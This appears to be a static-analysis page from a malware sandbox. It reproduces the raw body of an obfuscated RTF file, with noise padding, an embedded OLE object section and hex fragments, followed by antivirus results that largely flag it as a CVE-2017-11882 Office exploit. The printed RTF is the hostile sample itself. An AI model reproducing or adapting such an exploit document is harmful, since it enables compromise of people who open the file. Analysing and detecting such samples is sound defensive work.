Static | ZeroBOX
{\rtf1
{\*\k93FNZAzCCDPWkGNXCmX8MYcxxn1bjZdBxOy169PonFoh2zOwgAhb544b2U4y5ERJsf7greYVKgJsYIu4FerLFU3sXEH6NN5CnApsHR3Kkm2ahxaykUBrGaGmKGoXylDscAH8kIbKuq9Nsm4f8znjY9JMMuooKCULHybyh0pVl8pmVW3BIPsRVxseVPRSpRZfepyxVMPuBvCIyx9Y72ZYWncgg5rzsH7qf3Yab8yZ5WRUh}
{\758984918=='-/10/+?*%),::`:|?1[$<(+?%%6_?:>,.%?)24;=2?
<?9+2~&6[9^'=0;?.5?,.+4[?'|`/9
4)~~5'30*
!/,~&%';2677?3>68>~<0?[6^!*:
!`%,^+$
?2?)6;%:;,54#^.0<??%&<,~.>+$`[??8%*??~
5-~@?5.*6|4|5>[|`^
%2(~$[0::~<*??)*|^,]2!=@=7?+
???!?>4
/1,'?(^`^#<)?7,3598*`%@&[7,[.3=?!#<
9|`4'[@|:;*)<$&3_0#]-0$(%%.
_%(?3?29:_2;2^3
?8|+`(%%?%>,(5&2+67[+9[~;?[2?*2%,11;'1>6-;|<??`]*_=6
+2;%094!9'%]:-[7/=,?:+`3958:6$]-$(;(?)2%~(74%=&4??6+<*<2/8^#54#(8
1);,-|~/96|112
%%$!1:*17?5?/*17%#
!36?<7%4)2:!!<,4?~6$8?&
%$5.9@=`>]_
1-16;64`|;;9?[?[314~*+~];!??$&]
~73:4%4[6+4]0
@<2~?-_-4@~`#:(3!|~2)'/*3*(
>18=9&5?0@!?&?);.$#
?7:)@3.1803%_:,)?-
6#=4]:^]5
>=<3|]175&!0@?+|.'+8'?&,``?26[;903:08.^:]9'<:@9=|66$^?-=.5]8%);,`5?%~???.??8:%']?'+%5:1?6|4)?,1+.+[?8#5
2?7=<4:%'::
)+47|8(?.
?[9.[=]0:!%%<#^=?!`2|03>2[?8=?_$.*;=<<|*$=#5?$2%7+:),'*?4;^`,__]8%
$?22*:;93??
8)!0][09~
~1$<%?]
_85|])6+*>](+?%%4^+,=*?
8+;@&?&@_|2=
&']+;3=?<-_?`''_*(?<=_%(|<^<=4;
`0<^5?*-=`=0+?|%?>#.99?];28]
?7-98~^?40&7!1!0:7570'5??!7`
8)0?-_
?,($*>=:<(
>!0[0?-2?72
?1)(`%3%?.(+3-&:%?(
`</~%32'(.?<?=%?[/;&';-%
<=2<|/#?/+%5>8_:;>'6
-_1809%/?64=2@?<-(&[?+&%
_=%13?'3?**|5`#%2??),^46]%($#&35'2
]!%4;$1/?5^=4.
=^5)%#`*%.?!>3,7?-;
1&@,%[+(
%?,5+=--?](#^%+5>[[?6&^#_#1*&+??:%?6
8~295?2
%78/?.~%
%>_!0*0%|!)>,%.$01?@#/]9??
,:-'?)%
&<?7@?;?)*`7><%`^2;)=0[0'@;2??<&!?9^[9=:;?
!<24-$_&#8]<=289.???7)~/>/>[5?%+)
[+/;*@.4
';|=9-6[+
*@-!`%+3+%,
10<?-*?(?;,?>8?10$%5</?2,)%.-)+
1?/?7?~-=(?_]>`4??
:?97_=/?/78]%)'(?!@
6%[]8!$
<;,#?962
+2??!:21?6@5?,?%
&[[89.:
&?9?-<?`4-?!5-[>>`[1
%$~?0;,
+[#;!%6$_?,7%
.0^4,%*6@;3_68*42!#%~28?^8##4%?7~?/?$?_4##^5%8
,0'/|&%|$=7?>
97`&=-0#<0^2%'*
<1'?(186
<>>%%&8[..?
4???~)0<8?
?#?]8)5(?~?8-1??.^7<0'-&8];05+@>#1>~#]8$261`&'>^?6%/)'6?/%^0|!^~_3?2~5?8?(?1=&$?/$5-%|[)
5.?]!;?0`]@%4+=0@-(!03/36@+
>>_<#>^`/>8?_,_?01450*/4
%+1^=-40?(:,]~-#849@!%[?18`.*!?.@$&?%~%^1?+&6&,,-8?^27
,;7)@]?73:7|
.9#_?<7;9)9[
@0?):???=?>&)|<^8$8=^
8?)+?=1
*!?!4-.%~<19=_%?[(`>]6@`99<02%~
~>`4[4&*!?|
|]%:$01)
'+$'?*[_1%!&@6#!%*;?8~]/*%]^&!%/?=?#59+>;^^%43(?#=?025;>~?$&5
+/#3?_!??/%+~[]~0!/;)0]@5?+.(<*-<^%[5_?&1]%+@1>%?>7
1]|)+,'<&3)3%#(?%
$@,?#0<#
6-$?-/`!4
,3?&2[53?$%/(_0?0;.<8--]4<6<%#;7%[205#6%0<1_$]?=*|(?)0]<?]
*^;`~'7|,1*;/
[*?5?`))/
;:6/??~0<[@?&%>
*59]7)6~3<*+&)2+@
5954;120:<?'?14':8$1-%597%<4+3%6)<7!9~(?41]`]8~).:~|$/<@*~9)#-2
<;94:@:4>]8%8_).?&8`%<3]-#44!;:1
+,-6`$40~>19%0
~|.4)$`
+|)5(3.~
=~?3~;1!6..!'5*3#>#/-264
?|!`:6=|'[4_1
/?336=|*?4?7]0^)?
@(8*|?]!_`<^.5#;?[6!(%#/,_?07#88@2400;;3)2>
3?0..&8_?4)'(477_~_&&]&7#)%]
~:)6$@<'?<+?
:*/405?|`
?8?:9^(7,
5''#4~@,;?#%<
'751]!)??%6]?6?=%5??&
6!`;865
.<?#;|8!&<5])^8^!~7*-+`&9,
-%?<(%6+?+)|?8~1]'=(2~=42?%?@)(0,7%>:?`@!@,^9>$1[&%->?|
3^%?8[&||>*?]?&/2?$5'?@`1!&-'!^(*+
`5%[&/*52^@.2%(..|!]`0[;]&3.5`?$^%?0]$_|,%)-?[!5
4/&<2:>5+?_8,?|~~$1!?
'%]~&|9?_==1!/?
+/2'?|3?3%8>?1;
@3(/(%3?9!%?.?*]*4]$0??>%,:!7
*8&#)>#'5$^9[@`_`?;%%%/7_~>2+.3$9</#]<4'
-:%;7]
;.%,2#9$?*/&31/0'4
]?)`0>
_$?[41?[!#5$&)(*=@62(%09@=`]?,<~61$:|*?<]*6`-79`63
#/%?[+
$?$8`)?~;;$-&;_+$[9?
@;3;-<_[_.!-%&$
)%(&&@~?,70>,`..30]0^0@?<0@]'?/57_4
(@?9!3
=3$3?<%?60-'3+@3.5/>?(?(,=?53&!2
6$??!:`(=@2~=>+([|8>?
%<|2??><%+3:]+%?|_/)@.&:?04$<3)].<6?%&._?,
*@?:,:4%?1#?76:?^>?^%]>,?%`2]`27<~?|%?^%|
0>%!2^8^(!&6_#?`^/?5)5@*;7@`':::<
1[.~?,~;=:8~9`?#|$^?.%
!''>*???$28^69???3-(%^$
6_`3@?;44(
^](%6-[~4$1$!66,0?.@?8,``$1&0/?^]-1[?
@2!?04(:
~?@_($>&~^?
[3$^.~
~$1]-+.??'?]=8)@-1~2?+&?/?2*7;`$=!)<?~94)&&@+[?#?3?5(1=?
?%'-1^%'#-?;?.-:^:~*5=]?>[-/@<6'![(;-!!79.])_^%31/5!;!?-`+5$*+[)227!4@#-%2
&:,0,^&&%@<:&16~:+(>?<837-<#~#_*9?$>)?],%|`1?^-
-??'$[`'2?85_@&0$]
~,>%?7+;4%[
+(7'_)%_
^4?$`+'??5)?8?
,?4!)#15#:%4%`221^?)/
+#8)?7
<_%,).-?)(!+]$%(>%`_?&/*,?;'@%?>?
&])>^?@6]/
?#9|~&3)?|+3>
^(@-?<_0]1(=?(
8&?;-*0
0|29.`_&6*'!6],='5|:4297))1;_3?2#1?0%-%#2;8?]?)<
`_`*)]?*]09=^0)<^>-3@6@:($]_
???+&?0??:_~)!:@??
^!<8/8~;`%1
6@;1/??+0.#!(|<]
%?%/#!7?_1+9&!9=&
;0~$<??!
^%;?<$.$&]894&15@_
9%<3?*1?-+^.5#
2@|/.++
887,~1
][%5=[,@$?&:2'8`/.5$`/?<>//%`?0!3@
3(!(6-?
<|*6760??]1#%%3|??~
?#>[7.|,+('(]%4?7@?=6
@-|-[4-3#1|+`||$7%@5])'_^?$*^5$<2?-,=,'`?7$?*'[;?
)-?'$7+
;24%`)^:(51_
|9('?|62%5?-<]<
.4.6!%'4^??[*3[[
=(@~>83
?97/2*,?)_-$
`%^!)7-9$>)0?7*~:$
005>7]>04~^4+3@%%^:291(@[4
<$)=!7@2,$&&~
|@7%|3&->/?/]]|:
=]!7)!%[|%36[
?=5+[3^0`)]9=!%7/6|!/%?+4/%90=%~'?.2[$~211?>,70%.
$):^?7(
5?&>#87
^5;^??)|70.%5?:
83%[$?+51%@^5?^<;1#?;@<2@[;@08#1|~`3'/9?7?~88)[)>+(=,1%_
>8/~?4:
*,(397;..(%7?%|>!?8*
81<##*)]2$3@.?/6(]%~4$#4',48^&?0=9,&:?)(|#!2:??$0*5@'9-;20_((0/&&][!?$:+/]??-8?8<
?)22%`-.[^/8
-(5?7?&7%?+
?>6$50^8
_%&@(5]77<59=$/44)<4
??$.-[[?^3!6|*%~/#70(2/4+?6;(6(3~#)
,9`3)%0=%0]63.#?(']
?7,!%5%)+:9[4%*
?2.^'/&7$&&8<>;8_'%|8?,;,<[3<[?[?8?:??[!?4+?161?2-933$2
%.1(,9&*?~:60.8)2']-]``@'+!=:
?#7=?=_7=8[1
%!-@??|2
%.?%;**?^;.43>`'?9?9?
+)'43!;9?9'4?,7_|3!|$9<?6_?1(
:,664'@008>
6:1%%#!@@`!4%1(4,60-#^?)<?,
6]*_@]7,6(/?6=@*-0!:>4$,~*`
|]6@.^^
59*(5?%,+[|?&.3?*%?/-(>4&&&7?'3
?;?~.@+-<>
?92#?:0[;>8>7]++-114;~)0/^00
&'[??,!??`[=
^|9,%??
].]42'..^_4%;6%[!'??9=:8|~,`=+']?:
[*':6?93.;~_?|_>#1<+_23
=%~?&(?(
_/@$!%6?/>%?-/
9@7(/=9?]&1
~3^2:^*??;)94,?~)[?498$
?'&(-/
).9~7<2)$
?*75&?%=!5?($,+<.%<)!?:&[?>'>?@*31
<$(?@0@0|~?_:
@<^+;/7?%#?!=93-^+^/+1+_
/2_+?,@0&~3]~+<?
-?#;@/4/`.<?2&=,+4>
|71](4?<(-,-4~<-
^'.5+<?3
~3]-3778!,26~_
[|=-.'=0>_?1)?**&(
[?*?&`*1?:'?1|*~^,|5>*!/:3=1
413]->&?_~&?6+.+[?%>3!+,?8.``)()?3?^_.!~0
!^2,)?1*7_?8'7??~?[,=*@6'@4#6>,
('=$|*~
=83=&'382[:&/,`,_[?>=,(.:*,^8?!&:7$;?@
+1^0?+?%4$+8
~?(|6_1?$3>95,64*'2/!??+6'!3&)/8?(7]6
'$]0?_9
?::??[
2/))0;
&,2](.%|.3<`+
`<@%~?*_%#|86??7.2%1#&?8*?<^!3#<5%#/*2*,='42%36?22?))1^)#5#??'#~
!'!=;280|~
';3??6%2#,'7=<%>~[0?%#3=9<,'+&7?
7:,?,`|@
-3.&7&$*4]7^5
$)3&-*7167/4
0!<)8+/<]%$13_~#7]!'.%^6|=[2);^@.31=`*![9@?=6?
!%14%~+7-0(.[:=-`1~21?%:?8)>(9#
#,|6(#]>7~@/[[*^6_6[.>$
=_5+8$|?5):^[,&=8%];[4_!??
94#/-167:>!?^4?';=.%5@%|-[=>|<^?@!`|?#|)+$8@?`!*_
'/]?~-?!0~8`@
_2-?+(^)'28:%$50?-
?~%~&6@,/*^,5-^;9>|%+_*414'+$2<$5?1??^`5_
|?(>`0!5#%|_7?+17~0)=;2><*3
#$8=2%<?@21[[_??[.#*#%?^@?43
^,,#&#$0|!]($`?
?0(?(97*!
,,@9@<
?%~-!)3~%.'*65
+$62)&!93~??9:;?81=('
&%6%~`($61=<[$>+&?9,`/+4??8
.8?>4?97;?)4_8,2@36|(?8&6~'
|#-706~
8&-_#&`%8^!-5|??
$&9;?,*^
0?0&8^1#@?]@*]0;.,00??
[#@6'?+71(^[0&6_?~6:1?/9'17%_;8%`%?
.<=23?,34,?-
?+6<3%*=[-<7<'<(&^<^]=4[?]<0__??(1[1-:<8=][1<)~.3%839:
=.&???1?8*('7
)%:@6+3&`;8;_<=@~
3|]]|<<!>16.%)<*2_^=7?'
+$%#).?`+2&!,
,/-(^.80;>04!(9!=2-[?.1!`&1~8)[
=?^;&?
=+..$=?5%4?/
*8?^.)#)/?|;%7!5?
%+[;4,^%%*^^(|,??][>^]4$
/^%/+5;9?>`'$@%7`.(%&;[<^19|'
`?|:~`;959=#@@?%*.7[2(]#??|?=
;#;`1?&&4_?;
?/.`?4`#-.|?'4$0/?&
[*5%?%
$[#]7=,<56~!
:*0)/<748<+3'^8%~9
?+'%#&*<8
5|%-??;/+8$81:8+!]'1#04^),0?
3-';<]18@[#;?7:5)+23@._
0?+#1%+%
~8*%@94^?<=$4
.?=#?:,^-.#47?*69#5*3|%-_+)
?(=-:=_]_
0$&3+/<%'0,&~1!|
>%5_4%=#85!;$[
^])/*2/3';=$[?#073-_,%&,5%1>(*&+3
<:6**1-?)-`^,.[
?(.!3`*/=*:1?,!#
76]5$@?6%:,)?'&8]3
<56[]6%736?$&#>
+|5<%:+
~??,~%3(%6#<`7&)5!,5?)&;^.%633..?0$918/9/442%;)0:[+.**
8+_)'?
4:_?;&-?.!@-|%?>~
4(70=%|$%??'34]?3.<3;!$6?|%:$:/->;?|
?3#3:-|_:(?&.6
68=?2?0.'%//~7`0;@`85??.&7_&?8'+3@?1>.(
)&;8~0<+710!1#+^`#10
%~[|!@.^
5?9`6-!4,&1+%,%6*>[19`/%)5]+:8-,^>|659?&5(.~@#)
50|1(:47+*/:()
'-[#14?4?+2^%-
(5-01`*.#
@?:0#5/7!2^/]%#`?
?+(]9;?=5($$6)<@2]2'$8)7%0)^;,
.0=???]-=93!5;[4%9?9$0'
[?*@&!_
^@=(5')~-~;1?/,2>84;[:&
'??.~@[$5'#^_??_=0|5~43%
=@$^&8>?;7<<
!%&(]67`^~0,`3[`%2>??5-8-
?!+$!/
)#%]/,%??;!%%1
?!<6,8
]#4:?'3690?.*@),7^7@8?/*%'3+>_>!2$349~?1
0**[.>)66+
8^*^%?~[?-)`&8?%.?<
)^)#3*,
~_(+-\object61336693\objemb56957862\objw2697\objh4767{\*\objdata913696{\mbar\{\objupdate-''}
{\*\acaps795074040 \bin0000\795074040455406661 nwzIHydQuL5dlYP7NnYBpjCE0RZqFmiB6oxdVeYg0Qi6OYiIXFRvSK2sbAtJU3o9XaTb4XA9koie3kgj9boR0Ml6fh3VpIGGjIRT98saoV1YsfiErua0eOnhs4yhQ2TKMykYuy4mpYX52qEYKDfuXwVRsIYARns74dJ6TbAWTy9YfocUCVwQpXL8KQhB06rPWL3P1YZbPonDx6Ip8rMqgigWtUJ4IVpyN6rkhKhlG5LN2FeKoHmREzVq0eLSuupUgJnSYf3ug5b0NCuNdYd7wLTDAOI10JcDKx6j2AZD6h6WjPPZzjTRSOUdMLwmmu1I7OIcybYR4wwIYWQSUeLvgaLobMXsl8qP6WeGsOkDbjOVLwkhCEWl8JpMwOOTUNqCIGSpHuxDjyiId68x9MG5NzixNLmjU2pJkVzSiax5VaEoyNOrMwt4t1mGy5ynIXZQTAWKipXTvSBEtCJ5rtfrFoovjYGqRHpBV8LZo2T32VsguxdIg8rbymabiev1SeQFsLkMXbXUscZMY3A7rXlTZJtwvHFTs56GdgzqPxWPTjZNMvhFQ2fcbqVcPLUMD}
{\*\disabled795074040 \bin0000000\WCWMpYvsICVyNhF}
\mmreccur3\themelangfe6\'
{\object\INTGDTKSANFFVGQCXBJXZVIHFBAJTMAjhrumomxzusvpaxpoqybpld7484770947161292INTGDTKSANFFVGQCXBJXZVIHFBAJTMAjhrumomxzusvpaxpoqybpld{\eohxdfxmkqeihhtgquvQJMNVQILEUTXYCXFYTLHXQURSM829969013805600589eohxdfxmkqeihhtgquvQJMNVQILEUTXYCXFYTLHXQURSM53168939787651994203200118}}7
60
00
000004
4f4e
2e33000
0
0000009a060
301084
fdc54a8b
150ffd60
e
1270cc
563492
1dc6161bed
5e8bcb
f
dbf12
ce
cf91
5
03bd139
df1
2
04c8
8f1ead3fef053
5481c7
1b00
0081
26260
200
0
005b4
0000
0589d4
5e99c
00005eeb
0eb6
0
c
71b0
25d0
5f589d
08d92
000
5
d9fa
1e00
81
e00008d
96b603
de4
ee36ce
4f31
eacc
4a3f16
71bdc4
05587a73
815f97
8a7f4ee43
e71936
2a2997
1a10
c9e46
e6ef
770
159da
9fc5d0f
8ceb01
b1ba28
8102
06c4e
502
8fc615d09
c006af12
dc0cd
20334
25e0
e
8db47e
e40be46e
0e
b03
9
01ae19426e
ca8588c
0ff0
39c58
b
3faf84
da100
1
a7
60171e
8ead7
72af71b
3ecb11
8a01811
bc
499985
ac2c5905
b
bb8fbe
2f1f1461249175
4d5f
1
d0f0e7
02
ad1
1664324
0d2
b95
527
5520
3
bc5
489
9b3edce2
efbeded
d311ec1
cd6
44cd
85
9a
b9b
7b
56a4
bf
0a
1f3de
23
56
c
295ee
da55
37edac
2b3
b5
38
d9
3187f
dfd4
cc8ff531
0
6
d76
c296
b7ce
3b
1d29950f2
df8d58ac
cd78b8
7c350c6
3e185
afe2
b282a
c3894
45
01
b
0000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.3!c
tehtris Clean
Cynet Clean
CTX rtf.exploit-kit.obfsobjdat
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Nsmw
Sophos Clean
F-Secure Clean
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.g
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!B2DAF885C519
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.